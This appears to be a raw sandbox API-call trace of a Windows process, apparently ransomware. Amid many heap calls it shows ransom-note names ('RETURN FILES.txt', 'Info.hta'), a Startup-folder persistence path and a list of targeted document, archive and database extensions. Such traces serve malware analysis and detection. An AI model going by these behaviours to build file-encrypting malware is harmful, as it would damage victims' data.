returned 0x626ba8 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x626d58 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626ae8 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626c38 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626bd8 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x626c98 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626c80 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626d10 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626d28 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626a88 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626b60 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626cb0 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626cc8 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff318 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x5ff1e8 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626bf0 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626ce0 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626aa0 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626ad0 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626b18 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x626b30 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626b48 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626b78 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626b90 [0205.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626da0 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x627058 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626e00 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627070 [0205.068] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x649c60, Size=0x400) returned 0x64a670 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626f08 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626e18 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x627010 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626de8 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626f20 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626fe0 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x626ff8 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626f68 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626f38 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626dd0 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d7058 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626e90 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x626e30 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626f50 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626e48 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627028 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626e60 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x627040 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626f80 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626e78 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626ea8 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626fc8 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626ec0 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626ed8 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626d88 [0205.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626db8 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x65e4b8 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626ef0 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626f98 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x626fb0 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627130 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627100 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627118 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627358 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627148 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627370 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x6271d8 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6270d0 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x6271f0 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627088 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627250 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6272b0 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627178 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627268 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x627190 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627160 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6270e8 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6272f8 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627208 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627220 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627280 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627340 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6270a0 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6271a8 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627310 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6271c0 [0205.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627238 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627298 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6272c8 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6270b8 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6272e0 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627328 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x627388 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12) returned 0x5d6360 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6273d0 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6273e8 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6273a0 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6273b8 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627430 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627400 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x627418 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628d50 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628cd8 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628c48 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628d08 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628d68 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628b88 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628ba0 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628c78 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628ae0 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628bb8 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628a98 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628d80 [0205.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628c60 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x628d38 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x628af8 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x628c90 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x628b28 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x628b10 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x65e358 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628ac8 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x65e328 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628b40 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628cf0 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628ab0 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x628bd0 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x628b58 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628b70 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x628be8 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628c00 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628c18 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x628c30 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628ca8 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x628cc0 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x628d20 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628de0 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x65e418 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629050 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628fa8 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629068 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628f30 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628dc8 [0205.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628f00 [0205.072] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x64a670, Size=0x800) returned 0x65e6c0 [0205.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x648450 | out: hHeap=0x5c0000) returned 1 [0205.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x628678 | out: hHeap=0x5c0000) returned 1 [0205.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6286c0 | out: hHeap=0x5c0000) returned 1 [0205.072] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6286d8, Size=0x20) returned 0x5fef80 [0205.072] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fef80, Size=0x40) returned 0x5d7968 [0205.072] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7968, Size=0x80) returned 0x646578 [0205.072] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x65e428, Size=0x8) returned 0x65e3b8 [0205.072] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x65e3b8, Size=0x10) returned 0x6286d8 [0205.072] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6286d8, Size=0x20) returned 0x5ff020 [0205.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x646578 | out: hHeap=0x5c0000) returned 1 [0205.072] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x628a08, Size=0x20) returned 0x5ff048 [0205.072] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff048, Size=0x40) returned 0x5d7578 [0205.072] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0205.073] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d7578 | out: hHeap=0x5c0000) returned 1 [0205.073] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x628960, Size=0x20) returned 0x5ff048 [0205.073] lstrlenW (lpString="Info.hta") returned 8 [0205.073] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ff048 | out: hHeap=0x5c0000) returned 1 [0205.073] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x629460, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe")) returned 0x47 [0205.073] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x629460 | out: hHeap=0x5c0000) returned 1 [0205.073] lstrlenW (lpString="wmxsde.exe") returned 10 [0205.073] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff020, Size=0x40) returned 0x5d7968 [0205.073] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6288d0, Size=0x20) returned 0x5ff020 [0205.074] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6287b0, Size=0x20) returned 0x5ff048 [0205.074] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff048, Size=0x40) returned 0x5d7a40 [0205.074] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7a40, Size=0x80) returned 0x647128 [0205.074] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x647128, Size=0x100) returned 0x627580 [0205.074] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0205.074] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x627580 | out: hHeap=0x5c0000) returned 1 [0205.074] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x629460, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0205.074] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x65eec8 | out: hHeap=0x5c0000) returned 1 [0205.074] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x629460 | out: hHeap=0x5c0000) returned 1 [0205.075] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x65e2f8, Size=0x8) returned 0x65e338 [0205.075] lstrlenW (lpString="%windir%;") returned 9 [0205.075] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ff020 | out: hHeap=0x5c0000) returned 1 [0205.075] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0205.075] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x616440 | out: hHeap=0x5c0000) returned 1 [0205.076] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x628a80, Size=0x20) returned 0x5ff020 [0205.076] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff020, Size=0x40) returned 0x5d7770 [0205.076] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7770, Size=0x80) returned 0x647128 [0205.076] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x647128, Size=0x100) returned 0x627580 [0205.076] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x65e318, Size=0x8) returned 0x65e398 [0205.076] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x65e398, Size=0x10) returned 0x628918 [0205.076] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x628918, Size=0x20) returned 0x5ff070 [0205.076] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x65e478, Size=0x8) returned 0x65e348 [0205.076] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x65e498, Size=0x8) returned 0x65e378 [0205.076] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x65e388, Size=0x8) returned 0x65e438 [0205.076] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x65e438, Size=0x10) returned 0x628a80 [0205.076] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x628a80, Size=0x20) returned 0x5ff020 [0205.076] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x65e348, Size=0x10) returned 0x628828 [0205.076] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x65e378, Size=0x10) returned 0x628858 [0205.076] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x65e4c8, Size=0x8) returned 0x65e4d8 [0205.076] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x65e3d8, Size=0x8) returned 0x65e438 [0205.076] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x628828, Size=0x20) returned 0x5ff048 [0205.076] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x628858, Size=0x20) returned 0x5fea80 [0205.076] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x65e378, Size=0x8) returned 0x65e4a8 [0205.077] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0205.077] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x627580 | out: hHeap=0x5c0000) returned 1 [0205.077] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x628798, Size=0x20) returned 0x5feaa8 [0205.077] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x616440, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0205.077] lstrlenW (lpString="C:\\") returned 3 [0205.077] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0205.077] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x616440 | out: hHeap=0x5c0000) returned 1 [0205.078] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x65e388, Size=0x82) returned 0x649c60 [0205.078] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x65e2e8, Size=0x100) returned 0x627fd0 [0205.078] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x649c60, Size=0x104) returned 0x64a670 [0205.078] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x627fd0, Size=0x200) returned 0x64a780 [0205.079] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x65e398 | out: hHeap=0x5c0000) returned 1 [0205.079] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64a780 | out: hHeap=0x5c0000) returned 1 [0205.079] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6289d8 | out: hHeap=0x5c0000) returned 1 [0205.079] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x647348 | out: hHeap=0x5c0000) returned 1 [0205.079] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x628900 | out: hHeap=0x5c0000) returned 1 [0205.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x646578 | out: hHeap=0x5c0000) returned 1 [0205.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6289c0 | out: hHeap=0x5c0000) returned 1 [0205.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x64a670 | out: hHeap=0x5c0000) returned 1 [0205.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6287c8 | out: hHeap=0x5c0000) returned 1 [0205.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x649cf0 | out: hHeap=0x5c0000) returned 1 [0205.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x628a38 | out: hHeap=0x5c0000) returned 1 [0205.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x649d80 | out: hHeap=0x5c0000) returned 1 [0205.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x628a68 | out: hHeap=0x5c0000) returned 1 [0205.279] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x616ea0, Size=0x20) returned 0x5fec38 [0205.279] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fec38, Size=0x40) returned 0x618798 [0205.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x65e318 | out: hHeap=0x5c0000) returned 1 [0205.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6289a8 | out: hHeap=0x5c0000) returned 1 [0205.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6050a0 | out: hHeap=0x5c0000) returned 1 [0205.279] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6287b0 | out: hHeap=0x5c0000) returned 1 [0205.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x646b50 | out: hHeap=0x5c0000) returned 1 [0205.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x628858 | out: hHeap=0x5c0000) returned 1 [0205.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x65e378 | out: hHeap=0x5c0000) returned 1 [0205.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x628978 | out: hHeap=0x5c0000) returned 1 [0205.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d55f8 | out: hHeap=0x5c0000) returned 1 [0205.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d6460 | out: hHeap=0x5c0000) returned 1 [0205.280] lstrlenW (lpString="%systemdrive%") returned 13 [0205.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5feaa8 | out: hHeap=0x5c0000) returned 1 [0205.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x646d70 | out: hHeap=0x5c0000) returned 1 [0205.280] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x65e4c8 | out: hHeap=0x5c0000) returned 1 [0205.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x64e298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0 [0205.281] WaitForMultipleObjects (nCount=0x2, lpHandles=0x5db498*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 82 os_tid = 0xfc8 Thread: id = 87 os_tid = 0x834 [0205.161] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x628798 [0205.161] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x628798, Size=0x20) returned 0x5fed00 [0205.161] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fed00, Size=0x40) returned 0x5d7578 [0205.161] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7578, Size=0x80) returned 0x646bd8 [0205.161] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x646bd8, Size=0x100) returned 0x627580 [0205.161] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x628798 [0205.161] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x628798, Size=0x20) returned 0x5fed28 [0205.161] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fed28, Size=0x40) returned 0x5d77b8 [0205.161] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d77b8, Size=0x80) returned 0x646688 